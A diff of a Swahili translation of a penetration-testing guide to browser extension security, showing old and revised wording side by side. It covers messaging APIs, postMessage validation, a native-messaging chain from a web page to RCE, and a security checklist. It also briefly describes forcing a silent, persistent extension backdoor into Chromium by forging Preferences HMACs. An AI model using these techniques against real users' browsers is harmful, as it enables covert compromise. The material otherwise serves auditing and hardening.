### Ndani ya nyongeza
### Ndani ya extension
Kawaida kazi **`chrome.runtime.sendMessage`** hutumiwa kutuma ujumbe ndani ya nyongeza (kawaida inashughulikiwa na skripti ya `background`) na ili kupokea na kushughulikia inatangazwa msikilizaji akitumia **`chrome.runtime.onMessage.addListener`**.
Kawaida function **`chrome.runtime.sendMessage`** hutumika kutuma ujumbe ndani ya extension (kwa kawaida hushughulikiwa na `background` script) na ili kupokea na kushughulikia ujumbe huo listener hutangazwa kwa kutumia **`chrome.runtime.onMessage.addListener`**.
Pia inawezekana kutumia **`chrome.runtime.connect()`** kuwa na muunganisho endelevu badala ya kutuma ujumbe mmoja mmoja, inawezekana kuitumia **kutuma** na **kupokea** **ujumbe** kama katika mfano ufuatao:
Pia inawezekana kutumia **`chrome.runtime.connect()`** kupata muunganisho wa kudumu badala ya kutuma ujumbe moja moja; inawezekana kuitumia **kutuma** na **kupokea** **messages** kama katika mfano ufuatao:
<details>
@ -389,19 +391,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
Inawezekana pia kutuma ujumbe kutoka kwa script ya nyuma hadi script ya maudhui iliyoko katika tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuashiria **ID ya tab** ya kutuma ujumbe.
Pia inawezekana kutuma ujumbe kutoka background script kwenda content script iliyoko kwenye tab maalum kwa kuita **`chrome.tabs.sendMessage`** ambapo utahitaji kuonyesha **ID of the tab** ili kutuma ujumbe.
### Kutoka kwa `externally_connectable` inayoruhusiwa hadi nyongeza
### Kutoka kwa `externally_connectable` zilizoruhusiwa kwenda kwa extension
**Programu za wavuti na nyongeza za kivinjari za nje zinazoruhusiwa** katika usanidi wa `externally_connectable` zinaweza kutuma maombi kwa kutumia :
**Programu za wavuti na extension za kivinjari za nje zilizoruhusiwa** katika usanidi wa `externally_connectable` zinaweza kutuma ombi kwa kutumia :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Mahali ambapo inahitajika kutaja **extension ID**.
Wakati inapohitajika kutaja **extension ID**.
### Native Messaging
Inawezekana kwa scripts za background kuwasiliana na binaries ndani ya mfumo, ambayo inaweza kuwa **na udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayajashughulikiwa ipasavyo. [More on this later](#native-messaging).
Inawezekana kwa skripti za background kuwasiliana na faili za binari ndani ya mfumo, ambayo yanaweza kuwa **nyeti kwa udhaifu mkubwa kama RCEs** ikiwa mawasiliano haya hayatakuwa salama ipasavyo. [Taarifa zaidi baadaye](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -411,9 +413,9 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Mawasiliano ya Skripti za Maudhui
## Web **↔︎** Mawasiliano ya Content Script
Mazingira ambapo **skripti za maudhui** zinafanya kazi na ambapo kurasa za mwenyeji zipo ni **separated** kutoka kwa kila mmoja, kuhakikisha **isolation**. Licha ya isolation hii, zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikiwa. Ili ukurasa wa mwenyeji uweze kushiriki katika mawasiliano na **skripti ya maudhui**, au kwa njia isiyo ya moja kwa moja na nyongeza kupitia skripti ya maudhui, inahitajika kutumia **DOM** ambayo inapatikana na pande zote mbili kama njia ya mawasiliano.
Mazingira ambapo **content scripts** zinafanya kazi na ambako kurasa za mwenyeji zipo **imegawanywa** kutoka kwa kila mmoja, zikihakikisha **utengwa**. Licha ya **utengwa** huu, pande zote zina uwezo wa kuingiliana na **Document Object Model (DOM)** ya ukurasa, rasilimali inayoshirikishwa. Ili ukurasa mwenyeji uweze kujihusisha katika mawasiliano na **content script**, au kwa njia isiyo ya moja kwa moja na extension kupitia **content script**, inahitajika kutumia **DOM** inayopatikana kwa pande zote kama njia ya mawasiliano.
### Post Messages
```javascript:content-script.js
@ -450,15 +452,16 @@ window.postMessage(
false
)
```
Mawasiliano salama ya Post Message yanapaswa kuangalia uhalali wa ujumbe ulipokelewa, hii inaweza kufanywa kwa kuangalia:
Mawasiliano salama ya Post Message yanapaswa kukagua uhalali wa ujumbe uliopokelewa, hili linaweza kufanywa kwa kukagua:
- **`event.isTrusted`**: Hii ni Kweli tu ikiwa tukio lilichochewa na kitendo cha mtumiaji
- Skripti ya maudhui inaweza kutarajia ujumbe tu ikiwa mtumiaji atafanya kitendo fulani
- **domain ya asili**: inaweza kutarajia ujumbe tu kwenye orodha ya kuruhusiwa ya maeneo.
- Ikiwa regex inatumika, kuwa makini sana
- **Chanzo**: `received_message.source !== window` inaweza kutumika kuangalia ikiwa ujumbe ulikuwa **kutoka kwenye dirisha lile lile** ambapo Skripti ya Maudhui inasikiliza.
- **`event.isTrusted`**: Hii ni True tu ikiwa tukio liliamshwa na kitendo cha mtumiaji
- Content Script inaweza kutarajia ujumbe tu ikiwa mtumiaji atafanya kitendo fulani
- **origin domain**: inaweza kutarajia ujumbe tu kutoka kwenye orodha ya kuruhusiwa ya domains.
- Ikiwa regex inatumiwa, kuwa mwangalifu sana
- **Source**: `received_message.source !== window` inaweza kutumika kukagua kama ujumbe ulikuwa **kutoka window ile ile** ambapo Content Script inasikiliza.
Ukaguzi ulio hapo juu, hata ukifanywa, unaweza kuwa na udhaifu; angalia ukurasa ufuatao kwa **potential Post Message bypasses**:
Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kwenye ukurasa ufuatao **uwezekano wa Post Message bypasses**:
{{#ref}}
../postmessage-vulnerabilities/
@ -466,7 +469,8 @@ Ukaguzi wa awali, hata kama umefanywa, unaweza kuwa na udhaifu, hivyo angalia kw
### Iframe
Njia nyingine inayoweza kuwa ya mawasiliano inaweza kuwa kupitia **Iframe URLs**, unaweza kupata mfano katika:
Njia nyingine ya mawasiliano inaweza kuwa kupitia **Iframe URLs**, unaweza kupata mfano katika:
{{#ref}}
browext-xss-example.md
@ -474,21 +478,22 @@ browext-xss-example.md
### DOM
Hii si "haswa" njia ya mawasiliano, lakini **mtandao na skripti ya maudhui zitakuwa na ufikiaji wa DOM ya wavuti**. Hivyo, ikiwa **skripti ya maudhui** inasoma taarifa fulani kutoka kwake, **ikitegemea DOM ya wavuti**, wavuti inaweza **kubadilisha data hii** (kwa sababu wavuti haipaswi kuaminika, au kwa sababu wavuti ina udhaifu wa XSS) na **kuathiri Skripti ya Maudhui**.
Hii si "kabisa" njia ya mawasiliano, lakini **web na content script zitakuwa na ufikiaji wa web DOM**. Kwa hivyo, ikiwa **content script** inasoma baadhi ya taarifa kutoka kwake, ikiikubali web DOM, web inaweza **kubadilisha data hii** (kwa sababu web haipaswi kuaminiwa, au kwa sababu web ina udhaifu wa XSS) na **kuathiri Content Script**.
Unaweza pia kupata mfano wa **DOM based XSS to compromise a browser extension** katika:
Unaweza pia kupata mfano wa **XSS inayotegemea DOM kuathiri nyongeza ya kivinjari** katika:
{{#ref}}
browext-xss-example.md
{{#endref}}
## Mawasiliano ya Skripti ya Maudhui **↔︎** Skripti ya Background
## Content Script **↔︎** Background Script Communication
Skripti ya Maudhui inaweza kutumia kazi [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe **wa mara moja unaoweza kuandikwa kwa JSON**.
Content Script inaweza kutumia functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **au** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) kutuma ujumbe wa **one-time JSON-serializable**.
Ili kushughulikia **jibu**, tumia **Promise** iliyorejeshwa. Ingawa, kwa ajili ya ulinganifu wa nyuma, bado unaweza kupitisha **callback** kama hoja ya mwisho.
Ili kushughulikia **response**, tumia **Promise** iliyorejeshwa. Ingawa, kwa backward compatibility, bado unaweza kupitisha **callback** kama hoja ya mwisho.
Kutuma ombi kutoka kwa **skripti ya maudhui** kunaonekana kama hii:
Kutuma ombi kutoka kwa **content script** inaonekana hivi:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -496,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
Kutuma ombi kutoka kwa **extension** (kawaida **background script**). Mfano wa jinsi ya kutuma ujumbe kwa script ya maudhui katika tab iliyochaguliwa:
Kutuma ombi kutoka kwa **extension** (kawaida kwa **background script**). Mfano wa jinsi ya kutuma ujumbe kwa content script kwenye tab iliyochaguliwa:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -509,7 +514,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
Katika **kipande cha kupokea**, unahitaji kuweka [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **mwanachama wa tukio** ili kushughulikia ujumbe. Hii inaonekana sawa kutoka kwa skripti ya maudhui au ukurasa wa nyongeza.
Kwa upande wa **kupokea**, unahitaji kuweka [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **msikilizaji wa matukio** ili kushughulikia ujumbe. Hii inaonekana sawa kutoka kwa script ya maudhui au ukurasa wa extension.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +526,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
Katika mfano ulioangaziwa, **`sendResponse()`** ilitekelezwa kwa njia ya synchronous. Ili kubadilisha mhandisi wa tukio la `onMessage` kwa utekelezaji wa asynchronous wa `sendResponse()`, ni muhimu kuingiza `return true;`.
Katika mfano uliotajwa, **`sendResponse()`** ilitekelezwa kwa njia synchronous. Ili kurekebisha event handler ya `onMessage` kwa utekelezaji wa asynchronous wa `sendResponse()`, ni muhimu kujumuisha `return true;`.
Kitu muhimu cha kuzingatia ni kwamba katika hali ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **kurasa ya kwanza kutekeleza `sendResponse()`** kwa tukio maalum itakuwa pekee inayoweza kutoa jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hilo hayatakubaliwa.
Jambo muhimu la kuzingatia ni kwamba katika matukio ambapo kurasa nyingi zimewekwa kupokea matukio ya `onMessage`, **ukurasa wa kwanza kutekeleza `sendResponse()`** kwa tukio maalum utakuwa yule pekee atakayewawezesha kuwasilisha jibu kwa ufanisi. Majibu yoyote yanayofuata kwa tukio hilo hayatazingatiwa.
Wakati wa kuunda nyongeza mpya, upendeleo unapaswa kuwa kwa ahadi badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa mhandisi wa tukio unaonyesha operesheni ya asynchronous kwa kurudisha `true`. Ikiwa hakuna mhandisi yeyote anayerudisha `true` au ikiwa kazi ya `sendResponse()` imeondolewa kutoka kwenye kumbukumbu (garbage-collected), callback inayohusiana na kazi ya `sendMessage()` itasababisha kwa default.
Wakati wa kutengeneza extensions mpya, inashauriwa kutumia promises badala ya callbacks. Kuhusu matumizi ya callbacks, kazi ya `sendResponse()` inachukuliwa kuwa halali tu ikiwa inatekelezwa moja kwa moja ndani ya muktadha wa synchronous, au ikiwa event handler inaonyesha operesheni ya asynchronous kwa kurudisha `true`. Iwapo hakuna handler atakayerudisha `true` au ikiwa `sendResponse()` itaondolewa kwenye kumbukumbu (garbage-collected), callback inayohusiana na `sendMessage()` itaitwa kwa chaguo-msingi.
## Ujumbe wa Asili
## Native Messaging
Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupitia stdin**. Programu lazima iweke json ikionyesha hivyo katika json kama:
Browser extensions pia zinawezesha kuwasiliana na **binaries in the system via stdin**. Programu lazima iweke json inayobainisha hivyo katika json kama:
```json
{
"name": "com.my_company.my_application",
@ -539,14 +544,14 @@ Nyongeza za kivinjari pia zinaruhusu kuwasiliana na **binaries katika mfumo kupi
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Mahali ambapo `name` ni mfuatano wa herufi uliopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ili kuwasiliana na programu kutoka kwa skripti za nyuma za nyongeza ya kivinjari. `path` ni njia ya binary, kuna aina 1 tu halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha nyongeza ambazo zinaweza kuifikia (na haziwezi kuwa na wildcard).
Ambapo `name` ni string inayopitishwa kwa [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) au [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) kwa ajili ya kuwasiliana na application kutoka kwa background scripts ya extension ya kivinjari. `path` ni njia (path) ya binary, kuna tu `type` 1 halali ambayo ni stdio (tumia stdin na stdout) na `allowed_origins` inaonyesha extensions zinazoweza kuifikia (na haiwezi kuwa na wildcard).
Chrome/Chromium itatafuta json hii katika baadhi ya usajili wa windows na baadhi ya njia katika macOS na Linux (maelezo zaidi katika [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium itatafuta json hii kwenye Windows registry fulani na baadhi ya paths kwenye macOS na Linux (maelezo zaidi kwenye [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> Nyongeza ya kivinjari pia inahitaji ruhusa ya `nativeMessaing` kutangazwa ili iweze kutumia mawasiliano haya.
> Extension ya kivinjari pia inahitaji ruhusa ya `nativeMessaing` iliyotangazwa ili iweze kutumia mawasiliano haya.
Hivi ndivyo inavyoonekana kama baadhi ya msimbo wa skripti ya nyuma ikituma ujumbe kwa programu asilia:
Hivi ndivyo inavyoonekana baadhi ya code za background script zinapotuma ujumbe kwa native application:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -556,44 +561,44 @@ console.log("Received " + response)
}
)
```
Katika [**hiki kipande cha blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), mfano wa muundo dhaifu unaotumia ujumbe wa asili unapendekezwa:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), mpangilio dhaifu unaotumia native messages umependekezwa:
1. Kiongezeo cha kivinjari kina muundo wa wildcard kwa skripti ya maudhui.
2. Skripti ya maudhui inapita ujumbe wa `postMessage` kwa skripti ya nyuma kwa kutumia `sendMessage`.
3. Skripti ya nyuma inapita ujumbe kwa programu ya asili kwa kutumia `sendNativeMessage`.
4. Programu ya asili inashughulikia ujumbe kwa njia hatari, ikisababisha utekelezaji wa msimbo.
1. Browser extension ina wildcard pattern kwa content script.
2. Content script hupitisha ujumbe wa `postMessage` kwenda background script kwa kutumia `sendMessage`.
3. Background script hupitisha ujumbe kwa native application kwa kutumia `sendNativeMessage`.
4. Native application inashughulikia ujumbe kwa njia hatari, ikisababisha code execution.
Na ndani yake mfano wa **kuenda kutoka ukurasa wowote hadi RCE kwa kutumia kiongezeo cha kivinjari umeelezewa**.
Ndani yake kuna mfano wa **kuenda kutoka ukurasa wowote hadi RCE ukitumia browser extension**.
## Taarifa Nyeti Katika Kumbukumbu/Msimbo/Clipboard
## Sensitive Information in Memory/Code/Clipboard
Ikiwa Kiongezeo cha Kivinjari kina **taarifa nyeti ndani ya kumbukumbu yake**, hii inaweza **kutolewa** (hasa kwenye mashine za Windows) na **kutafutwa** kwa taarifa hii.
Ikiwa Browser Extension inahifadhi **taarifa nyeti ndani ya memory yake**, hizi zinaweza **kudumped** (hasa kwenye mashine za Windows) na **kutafutwa** kwa ajili ya taarifa hizo.
Kwa hivyo, kumbukumbu ya Kiongezeo cha Kivinjari **haipaswi kuzingatiwa kuwa salama** na **taarifa nyeti** kama vile akidi au maneno ya kumbukumbu **hazipaswi kuhifadhiwa**.
Kwa hivyo, memory ya Browser Extension **haipaswi kuchukuliwa kuwa salama** na **taarifa nyeti** kama vile credentials au mnemonic phrases **hazipaswi kuhifadhiwa**.
Kwa hakika, usiweke **taarifa nyeti katika msimbo**, kwani itakuwa **ya umma**.
Kweli kabisa, usiweweka taarifa nyeti kwenye code, kwani itakuwa **public**.
Ili kutoa kumbukumbu kutoka kwa kivinjari unaweza **kutoa kumbukumbu ya mchakato** au kwenda kwenye **mipangilio** ya kiongezeo cha kivinjari bonyeza **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snapshot`** na **`CTRL+F`** kutafuta ndani ya picha ya kumbukumbu kwa taarifa nyeti.
Ili dump memory kutoka kwa browser unaweza **kudump the process memory** au kwenda kwenye **settings** za browser extension kisha ubofye **`Inspect pop-up`** -> Katika sehemu ya **`Memory`** -> **`Take a snaphost`** na **`CTRL+F`** kutafuta ndani ya snapshot kwa taarifa nyeti.
Zaidi ya hayo, taarifa nyeti sana kama vile funguo za kumbukumbu au nywila **hazipaswi kuruhusiwa kunakiliwa kwenye clipboard** (au angalau iondolewe kutoka kwenye clipboard ndani ya sekunde chache) kwa sababu basi michakato inayofuatilia clipboard itakuwa na uwezo wa kuzipata.
Zaidi ya hayo, taarifa zenye ulinzi mkubwa kama mnemonic keys au passwords **hazipaswi kuruhusiwa kukopiwa kwenye clipboard** (au angalau zitoe kutoka clipboard ndani ya sekunde chache) kwani basi michakato inayos-monitor clipboard itawaweza kuzichukua.
## Kupakia Kiongezeo Katika Kivinjari
## Kupakia Extension kwenye Kivinjari
1. **Pakua** Kiongezeo cha Kivinjari & uondoe zipu
2. Nenda kwenye **`chrome://extensions/`** na **wezesha** `Developer Mode`
1. **Pakua** Browser Extension na ifungue (unzip)
2. Nenda kwenye **`chrome://extensions/`** na **wezeshwa** `Developer Mode`
3. Bonyeza kitufe cha **`Load unpacked`**
Katika **Firefox** unakwenda kwenye **`about:debugging#/runtime/this-firefox`** na bonyeza kitufe cha **`Load Temporary Add-on`**.
Katika **Firefox** nenda kwa **`about:debugging#/runtime/this-firefox`** na ubofye kitufe cha **`Load Temporary Add-on`**.
## Kupata msimbo wa chanzo kutoka duka
## Getting the source code from the store
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupatikana kupitia njia mbalimbali. Hapa chini kuna maelezo ya kina na maelekezo kwa kila chaguo.
Msimbo chanzo wa Chrome extension unaweza kupatikana kwa njia mbalimbali. Hapo chini kuna maelezo ya kina na maelekezo kwa kila chaguo.
### Pakua Kiongezeo kama ZIP kupitia Mstari wa Amri
### Download Extension as ZIP via Command Line
Msimbo wa chanzo wa kiongezeo cha Chrome unaweza kupakuliwa kama faili ya ZIP kwa kutumia mstari wa amri. Hii inahusisha kutumia `curl` kupata faili ya ZIP kutoka URL maalum na kisha kutoa yaliyomo ya faili ya ZIP kwenye directory. Hapa kuna hatua:
Msimbo chanzo wa Chrome extension unaweza kupakuliwa kama faili ZIP ukitumia command line. Hii inahusisha kutumia `curl` kuvuta faili la ZIP kutoka URL maalum kisha kutoa yaliyomo ya ZIP kwenda kwenye directory. Hapa kuna hatua:
1. Badilisha `"extension_id"` na ID halisi ya kiongezeo.
1. Badilisha `"extension_id"` na ID halisi ya extension.
2. Tekeleza amri zifuatazo:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
@ -604,96 +609,104 @@ unzip -d "$extension_id-source" "$extension_id.zip"
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### Tumia nyongeza ya CRX Viewer
### Tumia extension ya CRX Viewer
Njia nyingine rahisi ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa chanzo wazi. Inaweza kupakuliwa kutoka [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa mtazamaji upatikana katika [GitHub repository](https://github.com/Rob--W/crxviewer).
Njia nyingine inayofaa ni kutumia Chrome Extension Source Viewer, ambayo ni mradi wa open-source. Inaweza kusanikishwa kutoka kwenye [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Msimbo wa chanzo wa viewer upo kwenye [GitHub repository](https://github.com/Rob--W/crxviewer).
### Tazama chanzo cha nyongeza iliyosakinishwa kwa ndani
### Angalia chanzo la extension iliyosakinishwa kwa ndani
Nyongeza za Chrome zilizowekwa ndani pia zinaweza kukaguliwa. Hapa kuna jinsi:
Chrome extensions zilizowekwa kwa ndani pia zinaweza kuchunguzwa. Hivi ndivyo:
1. Fikia saraka yako ya wasifu wa Chrome kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
2. Tembea hadi kwenye folda ndogo ya `Extensions/` ndani ya saraka ya wasifu.
3. Folda hii ina nyongeza zote zilizowekwa, kwa kawaida zikiwa na msimbo wao wa chanzo katika muundo unaoweza kusomeka.
1. Fikia saraka ya profile ya Chrome iliyoko kwenye kompyuta yako kwa kutembelea `chrome://version/` na kutafuta uwanja wa "Profile Path".
2. Nenda kwenye saraka ndogo `Extensions/` ndani ya saraka ya profile.
3. Folda hii ina extensions zote zilizosakinishwa, kwa kawaida pamoja na source code yao katika muundo unaosomwa.
Ili kubaini nyongeza, unaweza kuoanisha vitambulisho vyao na majina:
Ili kutambua extensions, unaweza kuoanisha ID zao na majina:
- Washa Modu ya Mwandishi kwenye ukurasa wa `about:extensions` ili kuona vitambulisho vya kila nyongeza.
- Ndani ya folda ya kila nyongeza, faili ya `manifest.json` ina uwanja wa `name` unaoweza kusomeka, ikikusaidia kubaini nyongeza hiyo.
- Washa Developer Mode kwenye ukurasa wa `about:extensions` ili kuona ID za kila extension.
- Ndani ya kila folda ya extension, faili ya `manifest.json` ina uwanja unaosomwa wa `name` utakaokusaidia kutambua extension.
### Tumia Mchambuzi wa Faili au Unpacker
### Tumia File Archiver au Unpacker
Nenda kwenye Chrome Web Store na upakue nyongeza. Faili itakuwa na kiambishi cha `.crx`. Badilisha kiambishi cha faili kutoka `.crx` hadi `.zip`. Tumia mchambuzi wowote wa faili (kama WinRAR, 7-Zip, nk.) ili kutoa yaliyomo ya faili ya ZIP.
Nenda Chrome Web Store na pakua extension. Faili itakuwa na extension `.crx`. Badilisha extension ya faili kutoka `.crx` hadi `.zip`. Tumia file archiver yoyote (kama WinRAR, 7-Zip, nk.) ili kutoa yaliyomo ya faili la ZIP.
### Tumia Modu ya Mwandishi katika Chrome
### Tumia Developer Mode katika Chrome
Fungua Chrome na nenda kwenye `chrome://extensions/`. Washa "Developer mode" katika kona ya juu kulia. Bonyeza "Load unpacked extension...". Tembea hadi saraka ya nyongeza yako. Hii haisaidii kupakua msimbo wa chanzo, lakini ni muhimu kwa kutazama na kubadilisha msimbo wa nyongeza ambayo tayari imeshapakwa au kuandaliwa.
Fungua Chrome na nenda `chrome://extensions/`. Washa "Developer mode" juu kulia. Bonyeza "Load unpacked extension...". Elekea kwenye saraka ya extension yako. Hii haitapakua source code, lakini ni muhimu kwa kuona na kuhariri code ya extension iliyopakuliwa au iliyotengenezwa tayari.
## Seti ya data ya manifest ya nyongeza ya Chrome
## Chrome extension manifest dataset
Ili kujaribu kubaini nyongeza za kivinjari zenye udhaifu unaweza kutumia [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kuangalia faili zao za manifest kwa ishara zinazoweza kuwa na udhaifu. Kwa mfano kuangalia nyongeza zenye watumiaji zaidi ya 25000, `content_scripts` na ruhusa `nativeMessaing`:
Ili kujaribu kubaini browser extensions zenye udhaifu unaweza kutumia the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) na kukagua faili zao za manifest kwa dalili zinazoweza kuwa za udhaifu. Kwa mfano, ili kuangalia extensions zenye zaidi ya watumiaji 25000, `content_scripts` na ruhusa `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Post-exploitation: Forced extension load & persistence (Windows)
Mbinu ya kimya kusababisha backdoor kwenye Chromium kwa kuhariri moja kwa moja per-user Preferences na kutengeneza HMACs halali, ambayo husababisha browser kukubali na kuamsha arbitrary unpacked extension bila prompts au flags.
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## Orodha ya Ukaguzi wa Usalama
Ingawa Kiongezeo cha Kivinjari kina **uso wa shambulio ulio na mipaka**, baadhi yao yanaweza kuwa na **mapungufu** au **mabadiliko yanayoweza kuimarishwa**. Hizi hapa ni za kawaida zaidi:
Ingawa Browser Extensions zina **limited attack surface**, baadhi yao zinaweza kuwa na **vulnerabilities** au **potential hardening improvements**. Zifuatazo ni za kawaida:
- [ ] **Punguza** kadri iwezekanavyo **`permissions`** zinazohitajika
- [ ] **Punguza** kadri iwezekanavyo **`host_permissions`**
- [ ] Tumia **sera thabiti** ya **`content_security_policy`**
- [ ] **Punguza** kadri iwezekanavyo **`externally_connectable`**, ikiwa hakuna inahitajika na inawezekana, usiache kwa chaguo-msingi, eleza **`{}`**
- [ ] Ikiwa **URL inayoweza kuathiriwa na XSS au kuchukuliwa** imetajwa hapa, mshambuliaji ataweza **kutuma ujumbe kwa scripts za nyuma moja kwa moja**. Njia yenye nguvu sana ya kupita.
- [ ] **Punguza** kadri iwezekanavyo **`web_accessible_resources`**, hata ikiwa tupu ikiwa inawezekana.
- [ ] Ikiwa **`web_accessible_resources`** si hakuna, angalia [**ClickJacking**](browext-clickjacking.md)
- [ ] Ikiwa mawasiliano yoyote yanatokea kutoka kwa **kiongezeo** hadi **ukurasa wa wavuti**, [**angalia XSS**](browext-xss-example.md) **mapungufu** yaliyosababishwa katika mawasiliano.
- [ ] Ikiwa Post Messages zinatumika, angalia [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Ikiwa **Content Script inapata maelezo ya DOM**, angalia kwamba hazileti **XSS** ikiwa zitabadilishwa na wavuti
- [ ] Fanya mkazo maalum ikiwa mawasiliano haya yanahusishwa pia katika **Mawasiliano ya Content Script -> Background script**
- [ ] Ikiwa script ya nyuma inawasiliana kupitia **ujumbe wa asili** angalia mawasiliano ni salama na yameondolewa
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **msimbo** wa Kiongezeo cha Kivinjari
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **kumbukumbu** ya Kiongezeo cha Kivinjari
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya **mfumo wa faili usiolindwa**
- [ ] **Punguza** kadri iwezekanavyo `permissions` zinazohitajika
- [ ] **Punguza** kadri iwezekanavyo `host_permissions`
- [ ] Tumia **strong** `content_security_policy`
- [ ] **Punguza** kadri iwezekanavyo `externally_connectable`; ikiwa haifai au haitegemezeki, usiache kwa default, weka **`{}`**
- [ ] Ikiwa URL inayoweza kuwa vulnerable to XSS au takeover imetajwa hapa, mshambuliaji ataweza **kutuma messages kwa background scripts moja kwa moja**. Bypass yenye nguvu sana.
- [ ] **Punguza** kadri iwezekanavyo `web_accessible_resources`, hata ikiwa ni tupu ikiwa inawezekana.
- [ ] Ikiwa `web_accessible_resources` si none, angalia kwa [**ClickJacking**](browext-clickjacking.md)
- [ ] Ikiwa mawasiliano yoyote yanafanyika kutoka kwa extension kwenda kwenye web page, [**angalia kwa XSS**](browext-xss-example.md) **vulnerabilities** zinazotokana katika mawasiliano.
- [ ] Ikiwa Post Messages zinatumika, angalia kwa [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Ikiwa Content Script inapata ufikiaji wa DOM details, hakikisha kuwa haileti XSS ikiwa zitabadilishwa na web
- [ ] Toa mkazo maalum ikiwa mawasiliano haya ni sehemu ya **Content Script -> Background script communication**
- [ ] Ikiwa background script yanawasiliana kupitia **native messaging**, hakikisha mawasiliano ni salama na yamefanyiwa sanitize
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya code ya Browser Extension
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** ndani ya memory ya Browser Extension
- [ ] **Taarifa nyeti hazipaswi kuhifadhiwa** kwenye file system bila ulinzi
## Hatari za Kiongezeo cha Kivinjari
## Browser Extension Risks
- Programu [https://crxaminer.tech/](https://crxaminer.tech/) inachambua data kama ruhusa ambazo kiongezeo cha kivinjari kinahitaji ili kutoa kiwango cha hatari cha kutumia kiongezeo hicho.
- App [https://crxaminer.tech/](https://crxaminer.tech/) inachambua baadhi ya data kama `permissions` ambazo browser extension inaomba ili kutoa level ya hatari ya kutumia browser extension.
## Zana
## Tools
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Inavuta kiongezeo chochote cha Chrome kutoka kiungo kilichotolewa cha duka la wavuti la Chrome.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **mtazamaji**: inaonyesha toleo la JSON lililopambwa la manifest ya kiongezeo.
- **Uchambuzi wa Alama**: Ugunduzi wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) na uzalishaji wa moja kwa moja wa JavaScript ya alama ya kiongezeo cha Chrome.
